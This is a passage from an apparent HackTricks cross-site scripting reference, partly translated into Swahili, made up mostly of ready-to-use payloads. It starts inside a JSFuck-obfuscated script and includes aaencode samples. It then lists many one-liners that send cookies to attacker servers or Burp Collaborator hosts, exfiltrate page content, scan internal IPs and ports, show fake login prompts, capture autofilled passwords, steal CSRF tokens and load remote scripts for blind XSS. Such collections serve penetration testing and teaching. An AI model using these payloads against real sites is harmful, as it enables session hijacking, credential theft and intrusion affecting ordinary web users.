[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
|
||
```
|
||
|
||
```javascript
|
||
//aaencode
|
||
ﾟωﾟﾉ= /｀ｍ´）ﾉ ~┻━┻ //*´∇｀*/ ['_']; o=(ﾟｰﾟ) =_=3; c=(ﾟΘﾟ) =(ﾟｰﾟ)-(ﾟｰﾟ); (ﾟДﾟ) =(ﾟΘﾟ)= (o^_^o)/ (o^_^o);(ﾟДﾟ)={ﾟΘﾟ: '_' ,ﾟωﾟﾉ : ((ﾟωﾟﾉ==3) +'_') [ﾟΘﾟ] ,ﾟｰﾟﾉ :(ﾟωﾟﾉ+ '_')[o^_^o -(ﾟΘﾟ)] ,ﾟДﾟﾉ:((ﾟｰﾟ==3) +'_')[ﾟｰﾟ] }; (ﾟДﾟ) [ﾟΘﾟ] =((ﾟωﾟﾉ==3) +'_') [c^_^o];(ﾟДﾟ) ['c'] = ((ﾟДﾟ)+'_') [ (ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ) ];(ﾟДﾟ) ['o'] = ((ﾟДﾟ)+'_') [ﾟΘﾟ];(ﾟoﾟ)=(ﾟДﾟ) ['c']+(ﾟДﾟ) ['o']+(ﾟωﾟﾉ +'_')[ﾟΘﾟ]+ ((ﾟωﾟﾉ==3) +'_') [ﾟｰﾟ] + ((ﾟДﾟ) +'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ ((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [(ﾟｰﾟ) - (ﾟΘﾟ)]+(ﾟДﾟ) ['c']+((ﾟДﾟ)+'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ (ﾟДﾟ) ['o']+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ];(ﾟДﾟ) ['_'] =(o^_^o) [ﾟoﾟ] [ﾟoﾟ];(ﾟεﾟ)=((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟДﾟ) .ﾟДﾟﾉ+((ﾟДﾟ)+'_') [(ﾟｰﾟ) + (ﾟｰﾟ)]+((ﾟｰﾟ==3) +'_') [o^_^o -ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟωﾟﾉ +'_') [ﾟΘﾟ]; (ﾟｰﾟ)+=(ﾟΘﾟ); (ﾟДﾟ)[ﾟεﾟ]='\\'; (ﾟДﾟ).ﾟΘﾟﾉ=(ﾟДﾟ+ ﾟｰﾟ)[o^_^o -(ﾟΘﾟ)];(oﾟｰﾟo)=(ﾟωﾟﾉ +'_')[c^_^o];(ﾟДﾟ) [ﾟoﾟ]='\"';(ﾟДﾟ) ['_'] ( (ﾟДﾟ) ['_'] (ﾟεﾟ+(ﾟДﾟ)[ﾟoﾟ]+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) ('_');
|
||
```
|
||
|
||
```javascript
|
||
// It's also possible to execute JS code only with the chars: []`+!${}
|
||
```
|
||
## XSS common payloads
|
||
|
||
### Several payloads in 1
|
||
|
||
{% content-ref url="steal-info-js.md" %}
|
||
[steal-info-js.md](steal-info-js.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Iframe Trap
|
||
|
||
Fanya mtumiaji aende kwenye ukurasa bila kutoka kwenye iframe na kuiba vitendo vyake (ikiwemo taarifa zinazotumwa kwenye fomu):
|
||
|
||
{% content-ref url="../iframe-traps.md" %}
|
||
[iframe-traps.md](../iframe-traps.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Retrieve Cookies
|
||
```javascript
|
||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
||
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
|
||
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
|
||
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
|
||
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
|
||
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
|
||
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
|
||
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
|
||
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
|
||
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
|
||
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
|
||
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
|
||
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
|
||
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
|
||
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
|
||
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
|
||
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
|
||
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
|
||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||
```
|
||
{% hint style="info" %}
|
||
Hutaweza kufikia vidakuzi kutoka JavaScript ikiwa bendera ya HTTPOnly imewekwa kwenye kidakuzi. Lakini hapa una [njia kadhaa za kupita ulinzi huu](../hacking-with-cookies/#httponly) ikiwa umebahatika.
|
||
{% endhint %}
|
||
|
||
### Pora Maudhui ya Ukurasa
|
||
```javascript
|
||
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
|
||
var attacker = "http://10.10.14.8/exfil";
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.onreadystatechange = function() {
|
||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
|
||
}
|
||
}
|
||
xhr.open('GET', url, true);
|
||
xhr.send(null);
|
||
```
|
||
### Pata IP za ndani
|
||
```html
|
||
<script>
|
||
var q = []
|
||
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
|
||
var wait = 2000
|
||
var n_threads = 51
|
||
|
||
// Prepare the fetchUrl functions to access all the possible
|
||
for(i=1;i<=255;i++){
|
||
q.push(
|
||
function(url){
|
||
return function(){
|
||
fetchUrl(url, wait);
|
||
}
|
||
}('http://192.168.0.'+i+':8080'));
|
||
}
|
||
|
||
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
|
||
for(i=1; i<=n_threads; i++){
|
||
if(q.length) q.shift()();
|
||
}
|
||
|
||
function fetchUrl(url, wait){
|
||
console.log(url)
|
||
var controller = new AbortController(), signal = controller.signal;
|
||
fetch(url, {signal}).then(r=>r.text().then(text=>
|
||
{
|
||
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
|
||
}
|
||
))
|
||
.catch(e => {
|
||
if(!String(e).includes("The user aborted a request") && q.length) {
|
||
q.shift()();
|
||
}
|
||
});
|
||
|
||
setTimeout(x=>{
|
||
controller.abort();
|
||
if(q.length) {
|
||
q.shift()();
|
||
}
|
||
}, wait);
|
||
}
|
||
</script>
|
||
```
|
||
### Scanner ya Port (fetch)
|
||
```javascript
|
||
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
||
```
|
||
### Skana wa Bandari (websockets)
|
||
```python
|
||
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
|
||
for(var i=0; i<ports.length; i++) {
|
||
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
|
||
s.start = performance.now();
|
||
s.port = ports[i];
|
||
s.onerror = function() {
|
||
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
|
||
};
|
||
s.onopen = function() {
|
||
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
|
||
};
|
||
}
|
||
```
|
||
_Siku fupi zinaonyesha bandari inayojibu_ _Siku ndefu zinaonyesha hakuna majibu._
|
||
|
||
Kagua orodha ya bandari zilizokatazwa katika Chrome [**hapa**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) na katika Firefox [**hapa**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||
|
||
### Sanduku la kuomba ithibitisho
|
||
```markup
|
||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||
```
|
||
### Kukamata nywila za kujaza kiotomatiki
|
||
```javascript
|
||
<b>Username:</><br>
|
||
<input name=username id=username>
|
||
<b>Password:</><br>
|
||
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
|
||
method:'POST',
|
||
mode: 'no-cors',
|
||
body:username.value+':'+this.value
|
||
});">
|
||
```
|
||
Wakati data yoyote inapoingizwa katika uwanja wa nywila, jina la mtumiaji na nywila vinatumwa kwa seva ya washambuliaji, hata kama mteja anachagua nywila iliyohifadhiwa na hajiandikishe chochote, taarifa za kuingia zitavuja.
|
||
|
||
### Keylogger
|
||
|
||
Nilipokuwa nikitafuta katika github, nilipata kadhaa tofauti:
|
||
|
||
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||
* [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||
* Unaweza pia kutumia metasploit `http_javascript_keylogger`
|
||
|
||
### Kuiba token za CSRF
|
||
```javascript
|
||
<script>
|
||
var req = new XMLHttpRequest();
|
||
req.onload = handleResponse;
|
||
req.open('get','/email',true);
|
||
req.send();
|
||
function handleResponse() {
|
||
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
|
||
var changeReq = new XMLHttpRequest();
|
||
changeReq.open('post', '/email/change-email', true);
|
||
changeReq.send('csrf='+token+'&email=test@test.com')
|
||
};
|
||
</script>
|
||
```
|
||
### Kuiba ujumbe wa PostMessage
|
||
```markup
|
||
<img src="https://attacker.com/?" id=message>
|
||
<script>
|
||
window.onmessage = function(e){
|
||
document.getElementById("message").src += "&"+e.data;
|
||
</script>
|
||
```
|
||
### Abusing Service Workers
|
||
|
||
{% content-ref url="abusing-service-workers.md" %}
|
||
[abusing-service-workers.md](abusing-service-workers.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Accessing Shadow DOM
|
||
|
||
{% content-ref url="shadow-dom.md" %}
|
||
[shadow-dom.md](shadow-dom.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Polyglots
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||
|
||
### Blind XSS payloads
|
||
|
||
Unaweza pia kutumia: [https://xsshunter.com/](https://xsshunter.com)
|
||
```markup
|
||
"><img src='//domain/xss'>
|
||
"><script src="//domain/xss.js"></script>
|
||
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
|
||
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
|
||
|
||
<!-- html5sec - Self-executing focus event via autofocus: -->
|
||
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
|
||
|
||
<!-- html5sec - JavaScript execution via iframe and onload -->
|
||
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
|
||
|
||
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
|
||
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
|
||
|
||
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
|
||
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
|
||
|
||
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
|
||
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
|
||
|
||
<!-- xsshunter.com - Sites that use JQuery -->
|
||
<script>$.getScript("//domain")</script>
|
||
|
||
<!-- xsshunter.com - When <script> is filtered -->
|
||
"><img src=x id=payload== onerror=eval(atob(this.id))>
|
||
|
||
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
|
||
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
|
||
|
||
<!-- noscript trick -->
|
||
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
|
||
|
||
<!-- whitelisted CDNs in CSP -->
|
||
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
|
||
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
|
||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||
```
|
||
### Regex - Access Hidden Content
|
||
|
||
Kutoka [**hii andiko**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) inawezekana kujifunza kwamba hata kama baadhi ya thamani zinapotea kutoka JS, bado inawezekana kuziona katika sifa za JS katika vitu tofauti. Kwa mfano, ingizo la REGEX bado linaweza kupatikana baada ya thamani ya ingizo la regex kuondolewa:
|
||
```javascript
|
||
// Do regex with flag
|
||
flag="CTF{FLAG}"
|
||
re=/./g
|
||
re.test(flag);
|
||
|
||
// Remove flag value, nobody will be able to get it, right?
|
||
flag=""
|
||
|
||
// Access previous regex input
|
||
console.log(RegExp.input)
|
||
console.log(RegExp.rightContext)
|
||
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
|
||
```
|
||
### Orodha ya Brute-Force
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
||
|
||
## XSS Kutumia udhaifu mwingine
|
||
|
||
### XSS katika Markdown
|
||
|
||
Unaweza kuingiza msimbo wa Markdown ambao utaonyeshwa? Labda unaweza kupata XSS! Angalia:
|
||
|
||
{% content-ref url="xss-in-markdown.md" %}
|
||
[xss-in-markdown.md](xss-in-markdown.md)
|
||
{% endcontent-ref %}
|
||
|
||
### XSS kwa SSRF
|
||
|
||
Una XSS kwenye **tovuti inayotumia caching**? Jaribu **kuiboresha hiyo kuwa SSRF** kupitia Edge Side Include Injection kwa kutumia payload hii:
|
||
```python
|
||
<esi:include src="http://yoursite.com/capture" />
|
||
```
|
||
Use it to bypass cookie restrictions, XSS filters and much more!\
|
||
More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||
|
||
### XSS katika PDF iliyoundwa kwa njia ya dinamik
|
||
|
||
Ikiwa ukurasa wa wavuti unaunda PDF kwa kutumia input inayodhibitiwa na mtumiaji, unaweza kujaribu **kudanganya bot** inayounda PDF ili **kutekeleza msimbo wa JS usio na mpangilio**.\
|
||
Hivyo, ikiwa **bot ya kuunda PDF inapata** aina fulani ya **HTML** **tags**, itakuwa **inafasiri** hizo, na unaweza **kuitumia** tabia hii kusababisha **Server XSS**.
|
||
|
||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||
{% endcontent-ref %}
|
||
|
||
Ikiwa huwezi kuingiza HTML tags inaweza kuwa na faida kujaribu **kuingiza data za PDF**:
|
||
|
||
{% content-ref url="pdf-injection.md" %}
|
||
[pdf-injection.md](pdf-injection.md)
|
||
{% endcontent-ref %}
|
||
|
||
### XSS katika Amp4Email
|
||
|
||
AMP, inayolenga kuongeza utendaji wa ukurasa wa wavuti kwenye vifaa vya rununu, inajumuisha HTML tags zilizoimarishwa na JavaScript ili kuhakikisha kazi na kuzingatia kasi na usalama. Inasaidia anuwai ya vipengele kwa ajili ya vipengele mbalimbali, vinavyopatikana kupitia [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||
|
||
Muundo wa [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) unapanua vipengele maalum vya AMP kwa barua pepe, na kuwapa wapokeaji uwezo wa kuingiliana na maudhui moja kwa moja ndani ya barua zao pepe.
|
||
|
||
Mfano [**writeup XSS katika Amp4Email katika Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||
|
||
### XSS kupakia faili (svg)
|
||
|
||
Pakia kama picha faili kama ifuatavyo (kutoka [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||
```markup
|
||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||
Content-Length: 574
|
||
-----------------------------232181429808
|
||
Content-Disposition: form-data; name="img"; filename="img.svg"
|
||
Content-Type: image/svg+xml
|
||
|
||
<?xml version="1.0" standalone="no"?>
|
||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
||
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
|
||
<script type="text/javascript">
|
||
alert(1);
|
||
</script>
|
||
</svg>
|
||
-----------------------------232181429808--
|
||
```
|
||
|
||
```markup
|
||
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
||
<script type="text/javascript">alert("XSS")</script>
|
||
</svg>
|
||
```
|
||
|
||
```markup
|
||
<?xml version="1.0" standalone="no"?>
|
||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
||
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
|
||
<script type="text/javascript">
|
||
alert("XSS");
|
||
</script>
|
||
</svg>
|
||
```
|
||
|
||
```svg
|
||
<svg width="500" height="500"
|
||
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
|
||
<circle cx="50" cy="50" r="45" fill="green"
|
||
id="foo"/>
|
||
|
||
<foreignObject width="500" height="500">
|
||
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
|
||
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
|
||
</foreignObject>
|
||
</svg>
|
||
```
|
||
|
||
```html
|
||
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
|
||
```
|
||
|
||
```xml
|
||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||
```
|
||
Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||
|
||
## Misc JS Tricks & Relevant Info
|
||
|
||
{% content-ref url="other-js-tricks.md" %}
|
||
[other-js-tricks.md](other-js-tricks.md)
|
||
{% endcontent-ref %}
|
||
|
||
## XSS resources
|
||
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
|
||
* [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
|
||
* [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
|
||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_kuandika na kuzungumza kwa ufasaha kwa Kiholanzi kunahitajika_).
|
||
|
||
{% embed url="https://www.stmcyber.com/careers" %}
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|